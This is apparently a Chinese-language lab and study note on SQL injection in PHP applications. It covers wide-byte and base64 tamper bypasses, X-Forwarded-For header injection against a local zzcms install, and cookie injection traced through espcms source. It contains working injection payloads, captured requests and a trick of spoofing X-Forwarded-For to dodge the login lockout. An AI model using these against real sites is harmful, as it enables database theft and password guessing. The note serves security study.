Tamper脚本&Base64&Json&md5

注入类型

PHP代码传递SQL语句时,可能遇到sql语句闭合

sql注入的各个类型
数字型 0~9
select * from `table_name` where id=1

字符型 =>a-z 中文 标点符号
# 假设一个原始的sql语句是这样子的:
select * from `table_name` where id='1'
# 那么它可能存在一种被注入的可能:符号的闭合
使用 " 或者 ' 来闭合字符串,可以避免注入的代码被当中字符串来处理。
select * from `table_name` where id='1 ' or 1=1 order by 3 --+'
后面的单引号就会被注释掉,并且执行order by 3
1 ' or 1=1 order by 3 --+
# 注意:如果遇上类似于框架那种自动过滤sql注入的防御机制,就得另外想办法了。

搜索型 =>加入了通配符%
$sql="select * from `table_name` where gname like '%$s%'"; => 需要考虑闭合百分号
这句话的意思是模糊查询表内容,gname列中含有$s的内容

编码型
=>数据以编码值进行传递
=>数据进行编码后接受处理
发送编码值,对方对编码值进行解码,获取其中的数据再放入SQL并执行语句
在注入的时候,我们也需要尝试对注入的Payload进行编码后提交
select * from `table_name` where id=MQ==

加密型
数据以加密的密文进行传送

格式型
JSON->键值键名大括号的形式

绕过

sqlmap base64绕过
sqlmap相关关键信息的博客:https://www.cnblogs.com/bmjoker/p/9326258.html
--tamper=base64encode.py :调用tamper目录下的base64encode.py脚本,处理带有base64加密的参数

宽字节绕过:
背景:所有的注入语句被转义
http://www.xxx.com?id=12 ' order by 12 --+
后台解释时变成了:(关键的'被转义掉了)
select * from table_name where id='12 \' order by 12 --+'
1.产生于一个PHP函数:
addslashes($str)
2.魔术引号:PHP扩展之magic_quotes_gpc
选择则自动转义
绕过的办法:%df
\ 占用一个字符
中文乱码(%df生成的) 占用两个字符
绕过的原理是使用乱码把\占用的空间消耗掉,使后台的\失效,相对于变成了完整的注入语句
select * from table_name where id='12 ' order by 12 --+'

结论:
工具,扫描脚本都无法直接识别出数据是否被加密再进行测试,或者说,无法判断数据类型和格式等。
这时候就应该尝试自己去人工识别,是否被加密什么的,进行人工的对工具的修改和加载插件,再次探针才可以。
如果熟悉Python,还能自己写脚本

测试学习之黑白盒-HTTP头注入

XFF存在的条件:
1.存在获取XFF的函数方法: getenv("HTTP_X_FORWARDED_FOR")
2.存在将IP地址放入数据库查询的语句,且一般是未转义的类型

白盒测试

getenv("HTTP_X_FORWARDED_FOR")  获取数据包头部信息X-Forwarded-For指定的IP地址
getenv() 用于获得指定名称的环境变量值

目标站点:zzcms8.0
目的:使用XFF对站点进行SQL注入
目标网页:http://127.0.0.1:8036/admin/login.php

总结:功能点分析+关键代码追踪

过程:

使用火狐BP拦截

拦截数据包如下:

POST /admin/logincheck.php HTTP/1.1
Host: 127.0.0.1:8036
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1:8036
Connection: close
Referer: http://127.0.0.1:8036/admin/login.php
Cookie: UM_distinctid=186cfa9dc6a710-0dcbfdf03f31a98-d555429-144000-186cfa9dc6b1227; CNZZDATA1277915428=1687386700-1571722458-http%253A%252F%252F127.0.0.1%252F%7C1571722458; Gpa6_2132_logintime=1678521459; security=low; PHPSESSID=a8b34abadc72da74fe40f008862b775e; thinkphp_show_page_trace=0|0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

admin=ad&pass=123&yzm=8&Submit=%E7%99%BB+%E5%BD%95

插入XFF并且修改数据包

获取IP地址的源代码存在XFF漏洞,具体代码如下:

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

证明XFF存在,可以使用XFF注入攻击

getenv("HTTP_X_FORWARDED_FOR") => 用来证明使用了XFF
这是需要插入的XFF :
X-Forwarded-For: 12.1.2.3 => IP地址随意,只要不重复就行

插入后的数据包如下:

POST /admin/logincheck.php HTTP/1.1
Host: 127.0.0.1:8036
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-Forwarded-For: 12.1.2.3
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1:8036
Connection: close
Referer: http://127.0.0.1:8036/admin/login.php
Cookie: UM_distinctid=186cfa9dc6a710-0dcbfdf03f31a98-d555429-144000-186cfa9dc6b1227; CNZZDATA1277915428=1687386700-1571722458-http%253A%252F%252F127.0.0.1%252F%7C1571722458; Gpa6_2132_logintime=1678521459; security=low; PHPSESSID=a8b34abadc72da74fe40f008862b775e; thinkphp_show_page_trace=0|0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

admin=ad&pass=123&yzm=8&Submit=%E7%99%BB+%E5%BD%95

返回信息如下:

HTTP/1.1 200 OK
Date: Thu, 25 May 2023 12:48:16 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 287

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>
# alert('用户名或密码错误!你还可以尝试 4 次'); =>这是提示信息,为0次会导致对应的IP地址被锁定
<script>alert('用户名或密码错误!你还可以尝试 4 次');history.back()</script></body>
</html>

观察得出的信息:更改XFF地址可以使得提示信息不断重置为4次,避免出现IP地址被锁定的事情。
锁定IP地址是指:指定的IP地址在限定时间内无法登录,或者指定IP地址永远无法登录。

开始注入

在get和post参数很难注入,尝试对XFF进行注入

XFF注入的源代码依据:
$sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";


注入语句为:(当数字超过4时,提示信息变了,说明边界是4)
X-Forwarded-For: 12.21.2.3' order by 4#
拼接到后台显示的句子就变成了:
$sql="select * from zzcms_login_times where ip='12.21.2.3' order by 4#' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

把注入语句变更为:
X-Forwarded-For: 45,56,66,67' union select 1,2,3,4 #

后面能查询相关的关键账密信息表等信息就和前面的sql注入差不多了。

黑盒测试

以上时对zzcms的手工注入,下面是工具注入。
使用一个post.txt的文件写入数据包,并且把xff段的IP地址末尾标上*,表示存在注入点
总结:功能点分析

POST /admin/logincheck.php HTTP/1.1
Host: 127.0.0.1:8036
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-Forwarded-For: 12.21.2.31*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1:8036
Connection: close
Referer: http://127.0.0.1:8036/admin/login.php
Cookie: UM_distinctid=186cfa9dc6a710-0dcbfdf03f31a98-d555429-144000-186cfa9dc6b1227; CNZZDATA1277915428=1687386700-1571722458-http%253A%252F%252F127.0.0.1%252F%7C1571722458; Gpa6_2132_logintime=1678521459; security=low; PHPSESSID=a8b34abadc72da74fe40f008862b775e; thinkphp_show_page_trace=0|0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

admin=ad&pass=123&yzm=8&Submit=%E7%99%BB+%E5%BD%95

黑白盒测试-Cookie注入

测试环境:php5.3
测试目标:espcms_utf8_5.5.12.10.08
测试目的:使用COOKIE进行注入

产生COOKIE漏洞的原因:
upload\interface\order.php文件下:

function in_list() {
parent::start_pagetemplate();
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->accept('ecisp_order_list', 'C');
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;
if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);

$productmoney = 0;
while ($rsList = $this->db->fetch_assoc($rs)) {
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);

$rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $didarray[$rsList['did']];

$countprice = sprintf("%01.2f", $didarray[$rsList['did']] * $rsList['bprice']);
$rsList['countprice'] = $countprice;

$productmoney = $productmoney + $countprice;
$array[] = $rsList;
}

$this->fun->setcookie('ecisp_order_productmoney', $productmoney, 7200);
}

$this->pagetemplate->assign('ordertotal', number_format($productmoney, 2));
$this->pagetemplate->assign('array', $array);

$order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']);
$internum = $productmoney * $order_integral;
$this->pagetemplate->assign('internum', intval($internum));
$this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']);
} else {
$this->pagetemplate->assign('ordervirtue', 'false');
}
$this->pagetemplate->assign('mlink', $this->mlink);

$templatesDIR = $this->get_templatesdir('order');
$this->pagetemplate->assign('path', 'order');
$templatefilename = $lng . '/' . $templatesDIR . '/order_buy_center';
$this->pagetemplate->assign('out', 'buylist');
unset($array, $this->mlink, $LANPACK, $this->lng);
$this->pagetemplate->display($templatefilename, 'order_list', false, '', admin_LNG);
}

定位出这行执行行:
$cartid = $this->fun->accept('ecisp_order_list', 'C');

将源码放入Seay项目审计系统,定位accept:

function accept($k, $var='R', $ectype='bu') {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_REQUEST;
break;
}
$vluer = $var[$k];
return isset($vluer) ? daddslashes($vluer, 1) : NULL;
}

证明accept是用来获取cookie的,上面截取出来的这个就是获取代码
case 'C':
$var = &$_COOKIE;
break;

源代码上的漏洞分两组情况
1.写代码(一定执行)
2.写函数(不一定执行,需要找到带有此函数执行的页面)

上面是属于在函数的情况,需要找到使用这个函数的源代码
全局搜索in_list()这个函数在哪个文件被调用、包含,声明的文件全部不算。

找不到对函数的直接调用,就找它的上一级,定义这个函数的方法(class):mainpage
==> 原因:函数的名字被拆解了,属于组合后实现函数效果的那种
全局搜索 new mainpage 找到对它的调用

index.php下:
$archive = indexget('ac', 'R');
$action = indexget('at', 'R'); // at接收


if (empty($archive) || empty($action)) {
include admin_ROOT . 'interface/public.php';
$mainlist = new mainpage();
if (method_exists($mainlist, 'in_index')) {
$mainlist->in_index();
} else {
exit('Access error!');
}
} else {
if (in_array($archive, array('article', 'forum', 'search', 'bbssearch', 'forummain', 'messmain', 'special', 'respond', 'public', 'scriptout', 'enquiry', 'enquirymain', 'form', 'formmain', 'ordermain', 'membermain', 'member', 'forum', 'order'))) {
$action = 'in_' . $action;
if (!file_exists(admin_ROOT . "interface/$archive.php")) {
exit('Access error!');
}
include admin_ROOT . "interface/$archive.php";
$mainlist = new mainpage();
if (method_exists($mainlist, $action)) {
$mainlist->$action();
} else {
exit('Access error!');
}
} else {
exit('Access error!');
}
}

-------------
分析:
$action = indexget('at', 'R'); // at接收,如果at是order时:

$action = 'in_' . $action; // 这个将变成in_order,也就是我们需要的那个函数的函数名


==> 最后是在cookie进行注入

总结

数据库类型决定攻击的手法—payload不一样
数据类型注入 — payload考虑闭合–数据格式
提交方式-数据请求不同–注入需要按照指定方式去测试

告诉我们url没有参数并不代表没有注入,有些数据会在数据包才有所体现
告诉我们HTTP数据包任何一个1地方只要被接收,就有可能产生漏洞